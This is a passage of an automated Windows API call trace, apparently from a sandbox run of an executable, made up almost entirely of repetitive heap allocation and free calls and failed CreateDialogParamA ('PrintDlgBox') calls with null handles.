[0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.744] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.744] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.744] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.744] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.745] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.745] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.745] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.745] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.745] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.745] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.745] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.745] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.746] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.746] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.746] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.746] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.746] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.746] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.746] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.746] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.746] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.746] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.746] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.746] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.746] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.746] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.747] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193348563, cy=27, fuLoad=0x0) returned 0x0 [0026.747] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.747] GetLastError () returned 0x715 [0026.747] SetLastError (dwErrCode=0x715) [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.747] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.747] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.747] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.747] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.747] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.747] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.748] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.748] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.748] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.748] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.748] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.748] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.748] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.748] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.749] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.749] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.749] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.749] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.749] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.749] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.749] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.749] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.749] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.749] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.750] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.750] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.750] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.750] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.750] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.750] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.750] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193329618, cy=27, fuLoad=0x0) returned 0x0 [0026.750] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.750] GetLastError () returned 0x715 [0026.750] SetLastError (dwErrCode=0x715) [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.750] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.750] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.750] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.750] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: 